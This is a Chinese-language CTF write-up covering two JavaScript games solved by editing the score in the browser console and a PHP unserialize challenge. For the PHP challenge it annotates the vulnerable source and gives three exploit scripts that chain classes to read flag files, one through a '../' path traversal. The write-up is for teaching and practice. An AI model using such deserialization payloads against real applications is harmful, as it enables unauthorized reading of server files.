[GDOUCTF 2023]hate eat snake
我们打开js源码
很明显这里当score大于60会出flag
score = getScore
我们寻找到了getScore方法所在的地方
之后发现他存在于Snake.prototype中
再控制台中给getScore赋值再空格页面
[第五空间 2021]pklovecloud
<?php
include 'flag.php'; #包含flag.php
class pkshow #定义一个名为pkshow的类
{
function echo_name() ##定义一个名为echo_name的方法
{
return "Pk very safe^.^"; #返回Pk very safe^.^
}
}
class acp #定义一个名为acp的类
{
protected $cinder; #定义一个是受保护的cinder变量
public $neutron; #定义一个公共的neutron变量
public $nova; #定义一个公共的nova变量
function __construct() #construct类初始化时调用
{
$this->cinder = new pkshow; 初始化pkshow类
}
function __toString() #当类被当成字符串时调用
{
if (isset($this->cinder)) #判断cinder的值是不是空
return $this->cinder->echo_name(); #返回cinder里面的echo_name方法 这里用来检测cinder是不是实例化了pkshow
}
}
class ace #定义一个名为ace的类
{
public $filename; #定义一个公共的filename变量
public $openstack; #定义一个公共的openstack变量
public $docker; #定义一个公共的docker变量
function echo_name() #定义一个echo_name函数
{
$this->openstack = unserialize($this->docker); #openstack的值等于反序列化的docker的值
$this->openstack->neutron = $heat; #将heat赋值给this->openstack->neutron
if($this->openstack->neutron === $this->openstack->nova) #判断this->openstack->neutron和this->openstack->nova是不是一样
{
$file = "./{$this->filename}"; #这里将fileanme文件的变量当成字符串 并和./一起赋值给file
if (file_get_contents($file)) #判断file_get_contents能不能读取文件内容
{
return file_get_contents($file); #返回文件内容
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks'])) #通过get方法获取pks参数判断是不是空
{
$logData = unserialize($_GET['pks']); #$logData等于反序列化的pks
echo $logData; #输出$logData
}
else
{
highlight_file(__file__); #高亮显示当前文件的原代码
}
?>
反推
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
这里时我们要执行的
也就是 ace类中的echo_name
这里有绕过
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
这里先将docker的值反序列化后赋值给openstack
然后openstack中的neutron等于$heat
再让neutron和nova 强匹配
这里我们可以控制docker的值当docker为空时 openstack下的netron 和 nova也一定为null
然后我们要寻找哪里可以触发echo_name我们发现
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
acp类中的toString可以
但是根据construct将cinder赋值了实例pkshow
这里我们要构造cinder = new ace 的类 这样就会调用ace的类
construct => toString => echo_name
acp => acp => ace
exp
<?php
class pkshow{
}
class acp {
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder = new ace;
}
}
class ace {
public $filename = "flag.php";
public $openstack;
public $docker;
}
$zx=new acp();
echo urlencode(serialize($zx))
?>
<?php
class pkshow{
}
class acp {
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder = new ace;
}
}
class ace {
public $filename = "/nssctfasdasdflag";
public $openstack;
public $docker;
}
$zx=new acp();
echo urlencode(serialize($zx))
?>
<?php
class pkshow{
}
class acp {
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder = new ace;
}
}
class ace {
public $filename = "../nssctfasdasdflag";
public $openstack;
public $docker;
}
$zx=new acp();
echo urlencode(serialize($zx))
?>
[HNCTF 2022 Week1]2048
f12
先知道我们要知道这里的分数是通过score表示
接下来去看js文件查找和score有关的地方
我们发现这里当得分大于20000会弹窗
在控制台执行得到flag